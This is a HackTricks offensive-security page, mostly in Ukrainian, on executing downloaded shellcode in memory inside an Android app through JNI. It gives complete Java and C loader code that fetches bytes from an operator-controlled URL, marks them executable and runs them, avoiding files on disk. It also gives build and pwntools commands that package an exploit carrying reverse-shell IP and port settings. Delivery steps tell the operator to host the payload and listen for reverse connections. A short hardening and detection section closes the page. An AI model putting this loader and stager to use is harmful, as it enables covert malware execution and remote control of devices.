Android In-Memory Native Code Execution via JNI (shellcode)
Reading time: 5 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
На цій сторінці задокументовано практичний шаблон виконання native payloads повністю в пам'яті з процесу ненадійного Android-додатку з використанням JNI. Процес уникає створення будь-якого native бінарного файлу на диску: завантажити raw shellcode bytes через HTTP(S), передати їх у JNI-міст, виділити RX-пам'ять і перейти в неї.
Чому це важливо
- Зменшує судово-експертні артефакти (немає ELF на диску)
- Сумісно з “stage-2” native payloads, згенерованими з ELF exploit binary
- Відповідає tradecraft, який використовують сучасні malware та red teams
Загальна схема
- Отримати shellcode bytes у Java/Kotlin
- Викликати native method (JNI) з масивом байтів
- У JNI: виділити RW-пам'ять → скопіювати байти → mprotect до RX → викликати entrypoint
Мінімальний приклад
Java/Kotlin side
public final class NativeExec {
static { System.loadLibrary("nativeexec"); }
public static native int run(byte[] sc);
}
// Download and execute (simplified)
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
int rc = NativeExec.run(sc);
C JNI-сторона (arm64/amd64)
#include <jni.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
static inline void flush_icache(void *p, size_t len) {
__builtin___clear_cache((char*)p, (char*)p + len);
}
JNIEXPORT jint JNICALL
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
jsize len = (*env)->GetArrayLength(env, sc);
if (len <= 0) return -1;
// RW anonymous buffer
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED) return -2;
jboolean isCopy = 0;
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
if (!bytes) { munmap(buf, len); return -3; }
memcpy(buf, bytes, len);
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);
// Make RX and execute
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
flush_icache(buf, len);
int (*entry)(void) = (int (*)(void))buf;
int ret = entry();
// Optional: restore RW and wipe
mprotect(buf, len, PROT_READ | PROT_WRITE);
memset(buf, 0, len);
munmap(buf, len);
return ret;
}
Зауваження та застереження
- W^X/execmem: Сучасний Android застосовує W^X; анонімні відображення з PROT_EXEC зазвичай все ще дозволені для процесів додатків з JIT (за умовою політики SELinux). Деякі пристрої/ROMs обмежують це; у таких випадках повертайтеся до JIT-виділених exec-пулів або native bridges.
- Архітектури: Переконайтесь, що архітектура shellcode відповідає пристрою (зазвичай arm64-v8a; x86 — лише на емуляторах).
- Контракт точки входу: Визначте конвенцію для входу shellcode (без аргументів або вказівник на структуру). Зробіть його позиційно-незалежним (PIC).
- Стабільність: Очистіть кеш інструкцій перед переходом; невідповідний кеш може спричинити крах на ARM.
Packaging ELF → position‑independent shellcode Надійний пайплайн оператора виглядає так:
- Збирайте ваш exploit як статичний ELF за допомогою musl-gcc
- Перетворіть ELF у самозавантажувальний shellcode blob за допомогою pwntools’ shellcraft.loader_append
Збірка
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
Перетворення ELF у raw shellcode (приклад amd64)
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
loader = shellcraft.loader_append(elf.data, arch='amd64')
sc = asm(loader)
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")
Чому loader_append працює: він емісує невеликий loader, який відображає вкладені ELF program segments у пам'яті та передає керування до його entrypoint, даючи один сирий blob, який можна memcpy’ити та виконати в app.
Delivery
- Розмістіть sc на HTTP(S)-сервері під вашим контролем
- Підмінений/тестовий app завантажує sc і викликає показаний вище JNI bridge
- Слухайте на машині оператора будь-які reverse-підключення, які встановлює kernel/user-mode payload
Validation workflow for kernel payloads
- Використовуйте vmlinux зі символами для швидшого реверсингу/відновлення офсетів
- Прототипуйте примітиви на зручному debug image, якщо він доступний, але завжди ретельно перевіряйте на реальній Android-цілі (kallsyms, KASLR slide, page-table layout, and mitigations differ)
Hardening/Detection (blue team)
- Забороніть anonymous PROT_EXEC у доменах app там, де це можливо (SELinux policy)
- Забезпечте сувору цілісність коду (no dynamic native loading from network) та перевіряйте канали оновлення
- Моніторте підозрілі переходи mmap/mprotect до RX та великі копіювання byte-array перед виконуваними переходами
References
- CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)
- build.sh (musl-gcc + pwntools pipeline)
- exp2sc.py (pwntools shellcraft.loader_append)
- exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)
- INSTRUCTIONS.md (setup notes)
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.